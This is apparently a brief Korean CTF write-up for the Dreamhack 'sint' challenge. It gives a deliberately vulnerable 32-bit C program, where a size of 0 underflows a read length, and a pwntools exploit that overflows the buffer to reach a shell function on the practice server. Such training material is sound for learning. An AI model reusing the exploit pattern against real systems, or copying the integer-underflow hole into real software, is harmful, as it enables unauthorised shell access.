[System_Hacking] stage13_문제풀이(sint)

 

// 32-bit, nx, partial relro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}

 

누가봐도 -1을 줘서 언더플로우 일으켜야 함

 

from pwn import *

p = remote("host3.dreamhack.games", 20049)

get_shell = 0x8048659

p.sendline(b"0")


pay = b"A" * 0x100
pay += b"B" * 0x4
pay += p32(get_shell)

p.send(pay)

p.interactive()